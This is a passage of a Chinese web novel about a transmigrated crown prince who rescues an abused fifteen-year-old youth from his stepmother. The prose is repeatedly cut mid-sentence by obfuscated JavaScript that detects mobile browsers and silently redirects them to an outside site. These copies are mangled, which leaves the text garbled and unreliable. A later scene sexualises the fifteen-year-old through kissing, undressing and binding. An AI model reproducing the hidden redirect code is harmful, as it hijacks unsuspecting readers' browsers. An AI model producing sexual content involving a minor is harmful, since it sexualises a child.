若真的剜他的肉,那就不是去做药引了,而是给他大哥萧淮流投毒。 正是因为萧淮流平日待他亲善温柔,他才会回绝。 谁知这魏书萱就发疯跳脚了,命人把他捆了起来,要打他三十鞭。 其实萧鸿雪明白,她发疯不是因为自己没有剜那一块肉,而是因为她觉得自己这么个微贱的庶子竟也敢反抗她的主母权威,这是她难以容忍的。 他有的时候也很疑惑,魏书萱这么狠毒癫狂的女人,何以将他大哥萧淮流教养得那样温厚善良? 这时,魏书萱突然扬起了手,她重重地甩了萧鸿雪一个耳光,把他的头打得往一边偏去。 “记着,本妃抬举你,你才是昭王府的二少爷。本妃要是不抬举你,你就是个在歌棚舞榭里出生的野种。” “你娘只是个勾栏出身的狐媚子,又死得早,想必生前什么都没有教过你,那本妃今日教你的孝悌忠义,你可要好好地学,好好地记住了。” 她阴毒地笑了一下,走到一旁入座,看着萧鸿雪被家丁笞打,悠闲地饮起了热茶。 然而鞭声却停了。 萧鸿雪和魏书萱同时诧异地朝那个执鞭的家丁看去,这才看见一只毛色金黄的小犬死死咬住了那家丁的裤腿往外拽,明显是在阻止他继续笞打萧鸿雪。 萧鸿雪本来没有什么波澜的表情突然出现了一丝裂痕,他嗓音沙哑地喊了一声:“回去!” 那只小犬对着萧鸿雪低呜一声,算是回应,但依然死死地咬着那家丁。 说萧鸿雪“开局一条狗皇位全靠打”,就是字面上的意思。 这只小犬是萧鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824236|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪几月前在狗屠手中救出来的,倒也不是因为萧鸿雪多么有善心,只是他看见这小犬朝屠案上那只被剔毛放血的母犬不住呜咽,思及自己的身世遭遇,有些触景伤情,顺手解救了。 一开始萧鸿雪压根没想把它带在身边养着,麻烦。 但是它竟很有灵性地悄悄跟在萧鸿雪身后,不吠也不叫,一人一犬之间隔着很远的一段距离。 每当萧鸿雪回头,它就赶忙躲起来,萧鸿雪一转头,又慢慢跟了上去。 一人一犬就这么走了许久之后,萧鸿雪回过头,笑了。 他看着那只慌忙躲藏,却把毛茸茸的尾巴露在外面了的幼犬,轻声说,“跟了我,可没什么好日子过啊。” 如今几月过去,这只小犬的体型没变多大,但为了保护萧鸿雪,它丝毫不畏怯地咬着那个执鞭家丁的裤腿。 魏书萱冷冷地看了萧鸿雪一眼,“小野种养的狗也是条野种,春池,它不肯松口你就连它一起抽。” 春池果然一鞭子抽在了小犬的后腿上,它疼得呜呜嚎叫,但依然不松口。 魏书萱突然怒极,又招呼旁边的两个家丁,“你们,去,把这条死狗给本妃剥皮煮了!” 那两个家丁正欲动作,就听得一声呵止。 “住手!” 众人循声望去,看见了跽在墙头之上的一名雪氅青年。 这青年面如冠玉,眉清目朗,额心一点朱砂红得妖冶,在晴阳映照之下像只暂踞墙头的白鹤,或许兴尽就乘风飞走了。 萧鸿雪望着来人,本来因这人清逸风流的气质有些恍神,在看清他的脸后又倏地转过了头——他来干什么? 这人不是杨惜又是谁呢。 杨惜在府外听见了府内的动静,挥手止住称心叩门的动作,借几个随行侍卫的肩膀直接攀上了墙头。 他坐在墙头悄悄觑了下面一会儿,瞬间了然了。 魏书萱看清了杨惜的容颜后,明显愣了一下,“太子殿下?您怎么在这儿?” 她心下很是疑惑,这草包和昭王府素日没什么交集,今日怎么会出现在昭王府的墙头上? “本宫是来寻友的,可能来得不巧了,竟恰好撞见王妃将他笞打成这副狼狈模样。” 杨惜笑了一下,悠悠展开了一把书着“掷果潘郎”四个字的折扇,很是风流倜傥,只是嗓音仍旧低沉沙哑。 魏书萱面上强扯出一抹笑,“殿下见笑了,犬子顽劣,妾身自是要好好管教他。” “只是不知……太子殿下竟和我们王府这不成器的犬子私交甚笃。” “谈不上私交甚笃,只是日前梅园初逢,本宫同他一见如故,结为知己。” 杨惜一边面不惭心不跳地唬起这魏书萱,一边心想自己这话也不算完全凭空捏造吧,原主确实是第一次见萧鸿雪就被他迷得神魂颠倒了没错啊。 杨惜合起折扇,神情专注地盯着萧鸿雪,煞有介事地说,“是吧,萧……” 似乎嫌不太亲密似的,杨惜将话拐了个弯,语调温柔地唤道:“阿雉。” 10. 救美 萧鸿雪乳名白雉,乍然被杨惜这么亲昵地一唤,萧鸿雪只觉得悚然,没有作声。 他腹诽道,这变态太子在搞什么,玩英雄救美俘获芳心的伎俩吗? 什么“一见如故”、“结为知己”,指的是他初见自己就给自己下了药,因强迫未遂还向自己挥剑吗? 杨惜见萧鸿雪完全不理会自己,也不在意,他很清楚自己这个变态断袖的形象在短期内是洗不白的。 他扫视了一下墙下众人,指着两个身强力壮的家丁说,“你们俩,去搬个梯子来。” “本宫下不来了。” 众人:…… 片刻后,杨惜大摇大摆地走到萧鸿雪身前,开始动手解下把他手脚都给勒出红痕的捆绳。 杨惜看着萧鸿雪血肉模糊的脊背,差点又犯了晕血症,站在原地缓了好一会儿。 宝啊,伤在你身,痛在我心! 这一鞭鞭抽出来的,可都是男主的黑化值啊! 萧鸿雪没有看他,只冷冷地吐出了一个字,“滚。” 杨惜的嘴角抽搐了一下。 也是,毕竟在萧鸿雪看来,自己就是一个对他欲行不轨的变态族兄。 于是杨惜作痛心疾首状,用只有他们两人能听见的声音说: “阿雉,为兄有错,为兄太不是人了,你那日离去后为兄实在深感愧疚,每每思及自己的罪过都寝食难安。” “为兄就想着,一定要补偿你一辈子。今日偶见你落难,自要拔刀相助,你能不能……也信为兄一次?” 萧鸿雪不为所动,“不必了。” 任杨惜一番话讲得再情真意切,萧鸿雪也一个字都不信。 因为对他而言,信任是和性命对等的东西。 萧鸿雪第一次信任一个人,就被劫走所有的钱财丢到边镇,来“打秋风”的突厥人把他掳回了帐中,萧鸿雪在那里度过了生不如死的几个月,还差点被他们当成过冬粮食吃掉。 第二次信任一个人,差点被她哄着喝下一碗掺了砒霜的热甜汤。 他怎么敢,又怎么可能再轻易信任一个人? 信任这种东西,若是随意交付给谁,指不定哪日就会被别人铸成刺向自己的最称手的利刃。更何况,太子还是个曾经给他下药,在他看来喜怒无常至极的变态。 萧鸿雪对身边的所有人都有很深的心防,哪怕是对浣莲这个照顾了自己多年的侍女都一向态度疏离。 毕竟他娘当年可就是被自己的贴身婢女所害,死都死得不明不白。 虽然他娘是个对他动辄打骂的疯女人,他一点儿也不怀念她。但是,那个疯女人用性命换来的教训,萧鸿雪却牢牢地记在了心底。 * 萧鸿雪记得,在他九岁那年,也是这样一个天寒地冻的冬天。 他爹带着大哥萧淮流陪驾南巡,而他娘穆忆在他们离京后就突然染了急病。 魏书萱听闻此事后,居然丧心病狂地授意在他们外宅里伺候的那些婆子姑子断了他们的米粮,只许送些无用的草药来做做样子。 魏书萱还美其名曰“大夫说食多五谷杂粮不利于身染疫邪的人早日病愈”。 穆忆病得脸上骨头都浮凸了,还被断了食,常常捂着肚子一疼就是一整天,在梦里都喊着饿。 前来诊治的大夫远远瞧了一眼就摇头,吩咐早些准备后事。 萧鸿雪虽然很恨穆忆这个高兴时对自己百般温柔,不高兴时也曾差点把自己活活掐死的疯娘,但他到底没办法眼睁睁地看着穆忆去死。 没办法了,萧鸿雪只好跑到昭王府去,哭着给魏书萱下跪,说我娘亲实在肿得厉害,求王妃发发善心,救救她吧! 他一直求她,求她,给她磕头磕得满脸都是血,而魏书萱连看都没有看他一眼。 她只是抚挲着妆奁内的翡翠珠串,问她的侍女哪条成色最好。 后来他在阶下磕头磕得晕了过去,被魏书萱派人扔回了外宅。 他醒来时,听见穆忆在屋里喊疼,但很快就不再喊了——她疼得断了气。 穆忆才刚合眼,魏书萱就遣人来用两张烂草席把她裹了烧掉,说她一身疫病,晦气。 他呆呆地跪在院子中央,看着赤红的焰浪舐过穆忆的裙裾、手臂、头发……他的脑子倏地变得空茫茫一片,连眼泪都忘了流。 为什么? 他不明白,为什么他在魏书萱面前都跪得晕过去了,却没有丝毫作用,他还是只能眼睁睁地看着穆忆去世。这是为什么? 他从前不明白,但现在他懂了。 因为穆忆的死,本就是魏书萱一手策划的。 穆忆去后,魏书萱一月前指给她的一个小侍女服毒自杀了。 萧鸿雪觉得蹊跷,在魏书萱派人来将她处理干净前跑回外宅,找到了她留下的一封遗书。 她说,是魏书萱授意她给穆忆的吃食里下毒,还买通了前来看诊的大夫。穆忆去后,她梦魇缠身,寝不能寐,才自杀的。 萧鸿雪的眸光暗了暗。 穆忆是活活疼死的。这几年来,魏书萱是怎么能在锦被玉枕上躺得那么安稳的?午夜梦回时,她有没有梦到过穆忆向她索命啊? 但他没有去和她对峙,没有告诉那个一向待他很冷淡的爹。他只是默默地烧掉了那封信。 小侍女服毒了,现在死无对证,空有一封信也无济于事,以魏书萱颠倒黑白的能力,到时候说不定还倒打他一耙,说是他伪造信件蓄意污蔑。 再说,他爹也不会为了一个自己并不疼爱的外室,真的对魏家贵女做什么——魏书萱可是当朝皇后的族妹。 那日萧鸿雪将信烧尽后,坐在飘着纸屑飞烟的火钵旁,借着炭火在自己的右手小指上烫了一条红疤。 他要以此疤提醒自己铭记,再疼他也要活下去、忍下去,他一定要得到足够的权势和地位,再把自己和穆忆所受的欺辱一桩桩、一件件地讨回来。 总有一天,他会亲手把魏书萱挫骨扬灰…… 萧鸿雪攥紧了指掌。 * 一旁的魏书萱见杨惜言辞间大有维护萧鸿雪之意,面色一沉,在袖下将绢帕攥得极紧。 但她在面上还极力维持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824237|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一副端庄柔淑的模样,“殿下言重了,妾身不过是略施薄惩。殿下仁义,不忍见萧……阿雉受苦,但依妾身之见,这到底只是昭王府的家事。” 言外之意,嫡母教养庶子是天经地义的事,你未必也管得太宽了。 杨惜没理她,不由分说地,一把将长凳上的萧鸿雪横抱了起来,还不忘小心翼翼地避着他背上的伤口。 杨惜对萧鸿雪是一脸“少爷你受苦了,老奴来了”的温柔谄媚,而当他的目光流转到魏书萱身上时,就倏地改换了一副冷淡清肃的表情。 杨惜在心里直摇头,我这当朝太子都得上赶着舔他,这魏书萱居然敢把他打成这个样子。 难怪她是书里下场最惨的反派。 是的,最,比原主萧成亭的下场还要惨。 魏皇后之乱后,萧鸿雪登基,两道圣旨从御书房连夜颁出。 一道是给宗人府里的废太子萧成亭上宫刑和膑刑,一道是将害死萧鸿雪他娘,还欺辱他多年的昭王妃魏书萱给挫骨扬灰——真正意义上的挫骨扬灰。 这么一看,还好萧鸿雪的亲爹昭王因病走得早,否则要是活到看见自己儿子杀了自己老婆,不得直接气蹬过去。 萧鸿雪现在十五岁,这魏书萱对他百般毒打虐待。等到他二十五岁一朝登了基,她可是要被挫骨扬灰啊挫骨扬灰,啧啧,一想到有人比我还惨得多……大冷天弄得人心暖暖的。 杨惜懒得和她再作口舌之争,没理会她,看向对他极其抗拒、在他怀里不停挣扎的萧鸿雪,轻声哄了句“别动,乖啊”,然后直接抱着他往前走。 他打算直接把萧鸿雪带回显德殿好吃好喝地伺候着,然后每天去给他请安刷刷好感。 总之是不能再把他留在昭王府给那个疑似s属性的女人玩弄了,书里萧鸿雪后期那么阴鸷残暴,这女人绝对居功至伟。 在经过魏书萱的时候,杨惜突然回头,似笑非笑地看了魏书萱一眼。 “嗯……略施薄惩?” “可能是本宫孤陋寡闻,没见过什么世面,竟不知原来把人打成这样,只算‘略施薄惩’。婶母真不愧是魏州牧的族妹,果然骁武不俗。” 魏书萱倏地变了脸色。 而杨惜怀里的萧鸿雪,自被杨惜抱起的那一瞬就脑中一片空白,早听不进去什么声音了。 杨惜墨黑如藻的发丝轻轻扫过萧鸿雪的脸颔,他的臂膊把萧鸿雪锢得很紧,如同护着一块易碎的珍宝,生怕把萧鸿雪磕着摔着。 萧鸿雪本就虚弱得不行,这下只能紧紧地贴着杨惜的胸膛,动弹不得。 杨惜的怀抱竟有着难言的柔软和温暖,萧鸿雪愣了愣神,仰头朝他看去。 从这个角度,只能望见杨惜如从汉白玉料上精誊细刻而出的精致脸廓,和他额心那点张扬的朱砂痣。 此时的杨惜却想着,看给孩子瘦的,明明是十五岁的半大少年,掂起来却轻得吓人,回去要好好喂喂。 杨惜叹了口气,然后直接抱着萧鸿雪朝府门外走去。 而萧鸿雪养的那只小犬也欢快地摇着尾巴,跟在杨惜身后。 11. 断袖 “你方才看见没有,太子殿下怀里抱着的……好像是个少年啊?” “是啊,看模样似乎还受了重伤。” 显德殿的两个宫女向行色匆匆的杨惜行过礼后,默契地对视一眼,小声交谈起来。 “那位应是昭王的幺子萧鸿雪,我那日随殿下去梅园时,曾见过他一面。” “当时殿下屏退了旁人,与他在亭中对酌。后来他似乎是不胜酒力,睡过去了,殿下也是这样把他抱回了显德殿呢。” “殿下千金之体,居然几次亲自抱这位族弟回宫,这份手足之情真是深挚啊……”其中一个小宫女托着腮,感叹了一句。 另一个小宫女噗嗤一笑,伸手环住她的脖颈,语调暧昧地说: “傻丫头,都这样了,还手足情呢。” “这已经是明晃晃的奸情了。” 那个被环住脖颈的宫女愣了愣,目瞪口呆。 “你……你是说,殿下和他……” “可是他们都是男子不说,论辈分还,还是族兄弟啊……” “都是男子有什么,圣上不是也纳了位男妃么?” “至于辈分嘛,昭王一脉本是异姓王出身,和皇室百年间未曾通婚过,这族兄弟也只是名义上的关系罢了。” “哦……”那宫女懵懂地点了点头。 这时,伺候杨惜的掌事太监称心转过身来,瞪了她们俩一眼,“再敢妄议主子,咱家定铰了你们俩的舌头。” 两个宫女连忙低头认错。 没有意识到自己已将断袖之名坐实了的杨惜将萧鸿雪安置在显德殿的碧梧院中。 杨惜命人去请太医为萧鸿雪诊治,然后坐在萧鸿雪榻边,抱起那只一路跟进宫里来了的小犬,开心地逗弄了起来。 这只小犬很有灵性,也乐于和刚救下它主人的杨惜亲近,一人一犬呜呜汪汪地玩得不亦乐乎,一时间竟不知它到底是谁的小犬了。 杨惜:(激动)小狗!小狗!小狗! 小犬:(激动)人!人!人! 萧鸿雪:…… “它有名字吗?” 爱狗人士杨惜轻轻挠着小犬头颈上那圈柔软的绒毛,自然而然地和狗的主人萧鸿雪搭起了话。 “……” 萧鸿雪不作声,抿着苍白的薄唇,把头偏到一边。 杨惜不知道萧鸿雪是不乐意搭理他还是压根没给这只小犬起名,倒也没把自己当外人,直接大手一挥,唤那只小犬“锅巴”。 “看它一身皮毛黄灿灿、油澄澄的,就叫锅巴吧!” 萧鸿雪仍旧不言语,但锅巴得了这个香喷喷的名字,似乎颇为满意,尾巴摇得更欢快了。 它在杨惜怀里一阵亲亲嗅嗅,无意间将杨惜缠在手臂上用以遮掩烧伤红疤的布绷咬开了。 杨惜还未来得及将布绷重新缠束,这时,一位太医提着医箱走了进来,向杨惜行礼。 杨惜抱着锅巴站起,向那太医交代萧鸿雪的情况,“他背后是鞭伤,浑身发冷,额头也很冰,可能还有些风寒之症。” 太医轻轻揭开萧鸿雪后背上被鲜血浸红、与皮肉粘连在一块儿了的衣衫,望见他背部一片血肉模糊,几十条紫红的鞭痕纵横交错,十分狰狞。 “怎么伤得这么重?” 太医蹙着眉头,转过头正欲与杨惜说些什么时,目光下移,瞥见了杨惜臂上几条如长蛇般蜿蜒的粉红伤疤,神色突然变得颇为古怪。 杨惜:??? 这老头的表情怎么怪怪的? 杨惜顺着他的目光看下去,发现因为萧成亭这具身体的肤色本就异常白皙,手臂上那几条粉红色的烧伤疤痕就显得格外引人注目了。 他他他他不会以为我和萧鸿雪玩了一些禁忌的皮鞭、蜡烛play,才不慎把他弄伤了吧? 我看着像是那种人吗? 好吧,原主萧成亭好像还真能做出这种事,也不怪人家太医怀疑。 杨惜尴尬地拽了拽袍袖,把手臂上的伤疤遮住。 太医将萧鸿雪的上衣撩至肩头,为他清洗创口后,开始敷药止血。 在太医将那些止血的药粉搽上伤口时,杨惜光是在旁边看着都要痛得龇牙咧嘴了,但萧鸿雪除了额边不断有冷汗渗出外,全程都一声没吭。 擦,这都能忍住不吭声,我雪神果然是个钢铁一般的铁血真男人、硬汉子! 杨惜在心里默默冲萧鸿雪竖起了大拇指。 杨惜因为晕血,也因为不忍心看下去,早将头转到了一边。在太医开始为萧鸿雪缠纱布时,他才将头转了回来。 萧鸿雪披散着的银发下是优美流畅的背脊线条,肤色极白,骨骼分明,看得杨惜有点挪不开眼。 哇……这身材,不愧是能和一众种马文肌肉型男主共同入选“某点小说网站十大男神”的另类美型帅哥哦! 其实当初网站评选的时候,杨惜还为萧鸿雪熬夜刷票卖安利,守在电脑前通宵鏖战了好几天。 最后,他顶着黑眼圈看见萧鸿雪的半身像成为小说网站开屏封面的时候,心想,妈的,值了。 杨惜正望着萧鸿雪的背影出神呢,萧鸿雪一把拾起旁边的外袍披在身上,隔绝了他的视线。 本背对着杨惜的萧鸿雪突然转过头,和杨惜四目相对,将悄悄看他的杨惜抓了个正着。 杨惜尴尬地错开脸,萧鸿雪眯起那双漂亮纤长的凤眼看着杨惜,眸中情绪晦暗不明。 太医提着医箱起身,向萧鸿雪叮嘱了几句伤口不能沾水且忌食辛冷之类的事项后,神秘兮兮地将杨惜拉到一边,递给他一个小药瓶,低声道: “殿下,这是治您手臂烧伤的药,可祛疤不留痕。宫里用的蜡烛燃烧时烛焰温度太高,不宜……若有需求,还是得换专门的用。” 杨惜的嘴角抽搐了一下,但还是竭力保持着面上得体的微笑。 “还有,殿下日后与这位小公子,呃……行房事时,还是要掌握好力度和分寸啊。” “这位小公子有些病虚不足之症,须得用党参一类的补物好好滋养进补,实在经不起今日这种程度的折腾了。” “什么房事?什么力度?” 杨惜终于绷不住了,不可置信地望向他。 太医捋着短须,老成地一笑,一幅“卑职都懂”的表情。 “殿下不必害羞,大燕皇室好男风的旧习举世皆闻,圣上月前才册了男妃不说,就连高祖陛下,据说都曾与麾下三位开国功臣解衣同榻而眠过呢。” 好吧,那这么说的话,原主萧成亭根本就不是把萧鸿雪错认成美女了才对他下手的,他丫的根本就是家族遗传的死断袖一个。 杨惜眼见这事越描越黑,甚至牵扯出了萧成亭他爹和他太爷爷的几桩风流秘闻,虽然怎么解释都显得苍白无力了,他仍坚持解释着: “本宫……不是断袖,他也不是本宫的男宠。” 他是我祖宗。 杨惜在心中忿忿地想,你就是喂我一百个熊心豹子胆我也不敢馋萧鸿雪的身子啊,我又不是那个颇有他太爷爷断袖遗风的萧成亭! 杨惜因情绪激动,音量不自觉提高了,坐在榻上的 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待那宫女走后,一直乖顺地趴在萧鸿雪榻上的锅巴突然跳到了桌案上,冲着那碗饺饵很是躁狂地吠叫起来。 杨惜没太在意,只当是锅巴饿了,心想人饭油盐太重,而且这饺饵还是柳贵卿亲手所烹,于情于理喂小狗吃了都不太妥当,所以招来碧梧院的一个小宫女,吩咐她把锅巴抱走喂些排骨。 谁知锅巴明明已被抱在那宫女怀中,走出偏室好远了,仍回头朝案几上的饺饵大声吠叫。 杨惜发觉有些不对劲,走到案边将那碗饺饵端了起来。 这饺饵里……难道下了毒?锅巴那是在提醒我吗? 杨惜立马从荷包里取了银针验毒。 这种验毒方法虽然听上去过于简单粗暴了点,但存在必有其合理性,古代市面上比较大宗的毒药,基本上就是砒霜一类的含硫物质,确实是可以通过银针验出的。 但是银针刺破了其中一只饺饵后,并没有变黑。 杨惜松了口气,想想也是,这饺饵是柳贵卿着身边宫女送来的,若真出了什么事,他肯定逃不了干系。 生活在这深宫里的个个都是人精,就算真的想要投毒害人,谁又会蠢到实名制投毒呢? 只是经过这么一遭,杨惜也实在没心情吃那碗饺饵了。他双手托腮坐在案边,思绪飘得很远。 今天是冬至啊……不知不觉,已经魂穿这萧成亭一周了,算起来,这小说里的日子和现世里的日子也恰好对得上呢。 不知道老爸老妈和小忱今天有没有吃饺子,我的魂魄到了这里,那我原来那具身体是变成植物人了吗……唉,他们会不会担心死了? 杨惜自认适应能力很强,这是自他魂穿萧成亭以后,第一次感到一种莫名的忧愁和惆怅。 其实这几日以来杨惜都没有什么真切的活着的实感,每日浑浑噩噩地扮着太子,反倒是这碗应节的饺饵让他有了些情绪波动,他思及自己生死未卜、前途茫茫的未来,一阵叹息。 因为想得入神,杨惜竟又把萧鸿雪晾在一旁许久了,待他反应过来,往床榻上一望时,哪里还有萧鸿雪的人影? 此时,杨惜听见这座寝殿的门扇吱呀一声,被合上了。 杨惜以为是萧鸿雪不愿和他共处一室,所以急匆匆地甩门离开了。 谁知当杨惜往门口望去,竟看见萧鸿雪用素白纤长的手指将门闩锁上,然后转身朝他一步步地走了过来。 12. 撩拨 杨惜望着朝他一步步走来的萧鸿雪,有些不知所措。现在整个殿里只剩下杨惜与萧鸿雪两个人单独相处,气氛一时陷入了一种诡异的沉默中。 按照经验,这种情况,不是要偷情就是要谋杀吧…… 杨惜心想。 但是萧鸿雪很快出声打破了这满室的沉默。 “魏书萱之所以笞打我,是因为她想要剜我的肉给大哥做药引子,我不答应。” 亮红摇曳的烛火映照着萧鸿雪苍白的面庞,他蝶翅般的长睫投下一片阴影。 萧鸿雪慢条斯理地执起灯挑,素手将灯盏拨亮,嗓音清越。 “而殿下费尽心思救我,甚至不惜与魏书萱撕破脸,你……又想要什么呢?” 萧鸿雪的声音很轻,但杨惜没来由地有些紧张,垂下眼,不敢和他对视。 见杨惜不作声,萧鸿雪放下灯挑,走到杨惜身前。 杨惜垂着眼沉默,眼角的余光瞥见了萧鸿雪腰侧那一束如流泻的月光般,随风轻轻舞动着的银色长发,和他那双柔润素白的手。 杨惜正在苦苦思考怎么回答时,手腕上突然传来一阵凉意——萧鸿雪轻轻握住了他的手腕。 然后,萧鸿雪的手顺着杨惜的腕部慢慢抚挲上他的胳臂,那柔腻如一块丝绸的触感让杨惜的大脑瞬间一片空白。 其实杨惜胳臂上的烧伤处时常辣辣地阵痛,稍微一碰就疼得冷汗涔涔的,但被萧鸿雪冰冷的手抚过时却不觉疼痛,像被冰敷消肿了一样舒适。 “……不是和阿雉‘一见如故’、‘结为知己’了吗?” “那就好好看着阿雉啊,太子哥哥。” 萧鸿雪唇角边噙起一抹浅淡的笑意,只是这笑意不达眼底,他的眼神依旧如数九寒天的飞雪般,冰冷淡漠。 “告诉我,你到底……想要什么?” 萧鸿雪的声音漫不经心,动听的语调中有些朦胧的惑人意味,像片落羽一样,在杨惜心上轻轻挠着。 杨惜抬起头,对上萧鸿雪那双幽深的紫眸,正想说些什么时,听见了衣物窸窸窣窣的声音。 萧鸿雪不待杨惜开口,就伸手扯开了自己的衣带,将自己上身的衣衫自两肩缓缓褪至肘部,露出了一大片白皙光洁的肌肤。 他轻轻捉起杨惜的手掌,描摹着杨惜手背上凸起的青筋,然后,他微微俯下身,将杨惜的手掌覆在自己颈肩边白皙光裸的肌肤上。 我……草…… 杨惜感受着自掌心处传来的温热柔腻的触感,大脑瞬间宕机了,整个人僵硬得一动不动。 萧鸿雪这是做什么? 杨惜双颊发烫,别过脸,不敢直视萧鸿雪。他紧张地咽了口唾沫,想要将自己的手抽回,却被萧鸿雪按得更紧。 “太子哥哥救我,是因为想要这样吗?” 萧鸿雪笑意盈盈地看着杨惜,语调竟有种说不出的温柔缱绻。 “是因为想把初次见我时没能做成的事情,做下去吗。” 他微微屈身,附在杨惜的耳畔,轻轻呵了口气。 “我讨厌和男人亲近,但我不介意和太子哥哥……试一试。” 萧鸿雪伸臂揽住杨惜的脖颈,轻轻坐到他怀中。 “毕竟,太子哥哥待阿雉这么好。” 萧鸿雪一双琉璃似的眼眸光华流转,静静地望着杨惜满是讶然之色的碧绿眼睛。 “太子哥哥的眼睛真漂亮,像玉一样。” 看着自己怀里这个美得不可言说的少年,杨惜彻底懵了。 这到底是怎么回事? 杨惜从来没有见过这个模样的萧鸿雪。 更可耻的是,在萧鸿雪这几番撩拨下,杨惜好像还真的对他起反应了,甚至暗暗期待这温存的时刻可以更长一些…… 卧槽,这也太礼崩乐坏了,使不得,使不得啊! 杨惜猛地清醒过来,摇了摇头。 我只是想认萧鸿雪当老大,没想真睡他啊!我又不是萧成亭那个恋弟癖死男同,他有那颗包天的色心,我没有啊! 杨惜竭力克制着心中升腾起的那股欲念,轻轻将萧鸿雪推开,站起身,正要落荒而逃时,萧鸿雪再次攥住了他的手腕,往后一拉。 杨惜猝不及防被这么一拽,因为惯性向后倒去,萧鸿雪顺势将他揽带在怀中,一个翻身将杨惜压倒在案几上。 杨惜试图挣扎,但萧鸿雪按住了他的手腕,将他的手举过头顶,轻轻松松地就把他钳在身下,动弹不得。 因为这位男主长得太美型,杨惜时常忘记萧鸿雪自幼习剑,虽然清瘦但绝不细狗,臂力大得惊人。 杨惜现在就是一副弱鸡身体,挣扎起来有心无力的,像是在欲拒还迎。 挣扎间,他半束起的长发已经完全披散下来,墨色的卷发与萧鸿雪的银发交缠在一起,沙沙地铺在案几上,像色彩对比强烈的一条河流。 杨惜望着那张近在咫尺的生得近乎完美的脸,诧异地陷入沉思。 不是,怎么还不人让走了? 我寻思着这萧鸿雪也不是男同啊,不然怎么会那么厌恶想要对他下手的族兄萧成亭,最后还把他给阉了。 而且萧鸿雪不是重伤虚弱吗?怎么刚上完药就来主动亲近自己了……难道刚才太医给他上的其实是迷情药不成? 杨惜轻轻喘着气,仰头看着萧鸿雪精致的五官,试图从萧鸿雪的神情中推测他的想法。 但萧鸿雪的神情非常平静,看不出一丝异常。 萧鸿雪见杨惜一直盯着他,勾了勾唇角,用纤白的手指挑起杨惜的下颔,以一种纯良无辜的嗓音发问: “太子哥哥今日怎么不愿意碰阿雉了?” “哥哥初见阿雉时,不是不惜下药也要和阿雉亲近吗?” “哦,我知道了,太子哥哥其实是……”萧鸿雪的声音里有些揶揄的笑意。 杨惜:“……?” 杨惜听出了萧鸿雪的言外之意:萧鸿雪是在说他杨惜是下面的那个呢。 “无碍,阿雉来碰哥哥就是。” 妈的,还真是被这小毛孩给看扁了啊。 杨惜虽然有心与萧鸿雪争辩,但是还不及杨惜反应,萧鸿雪直接就搂上了他的腰,俯身在他的双唇上落下一吻,手掌在他的腰侧暧昧地打着圈。 “太子哥哥千金贵体,阿雉逾矩冒犯了,还请哥哥恕罪啊?” “唔……” 与萧鸿雪唇齿相接的那瞬间,杨惜不可思议地瞪大了双眼。 杨惜感受着腰侧萧鸿雪手掌轻柔的动作,浑身都仿佛触电般,带起酥酥麻麻的异样情潮。他的大脑一片混乱,呼吸愈发急促。 看着身下之人逐渐动摇沉沦的模样,萧鸿雪的眼神却依然非常清醒沉静,毫无情迷意乱之态。 “太子哥哥有反应了。” “哥哥喜欢阿雉这样,对吧?” 萧鸿雪的声音极其动听,有一种轻易就能摄人心魄的魔力。看着杨惜呆滞的表情,他笑了一下,也不着急动作,指尖挑起杨惜的发带,将杨惜的两只手缚在了一起。 “哥哥……阿雉该继续吗?” 萧鸿雪的指腹轻轻描摹着杨惜额上那点赤红夺目的朱砂痣。 杨惜的理智与情欲正在疯狂交战,对自己身体的反应感到震惊和丢脸的同时,大脑也飞速运转着。 不对劲,这太不对劲了。 萧鸿雪明明恨作践欺辱自己的萧成亭恨得入骨,又怎么可能主动和他亲近? 即使自己从魏书萱手下救了萧鸿雪,但以他对萧鸿雪的了解,这种程度,还远远不够让萧鸿雪放下仇恨与成见。 如果这么轻易就能原谅自己的仇人,对他卸下心防,萧鸿雪也就不是萧鸿雪了。 萧鸿雪这人心机非常深重,长于表演,谁知道他这是不是在试探,若真的接受了,说不定他会直接把后期才上的宫刑提前,在自己毫无防备之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以他才强忍着那种发自内心的恶心和抗拒,与太子亲近。 只要太子还流露出对自己一分一毫的恋慕与渴望,萧鸿雪绝对毫不犹豫地废了他。 但是这太子居然真的像他救自己时所说的那样,不再对自己有非分之想,自己都这样刻意撩拨了,他还能保持清醒克制,毫不逾矩…… 萧鸿雪右手转动着自己悄悄藏在袍袖下的匕首,难得感到有些迷茫。 那他到底图自己什么,难道真的只是良心发现了想赎罪吗? 萧成亭这种地位优越,自小就将践踏他人当作吃饭喝水一样平常的事的人,除非他被夺舍了,否则怎么可能良心发现呢? 萧鸿雪发现,自己好像有点看不透萧成亭这个人了。 但他对他依然不会有什么好感。 “呵……” 萧鸿雪脸上的笑意已荡然无存,换回了那副冷漠疏离的神情。事已至此,萧鸿雪也懒得再演下去了,他蹙着眉,嫌恶地揩了揩自己方才吻过杨惜的唇。 然后,他将衣衫整理齐整,一句话没说,推开门走了出去。 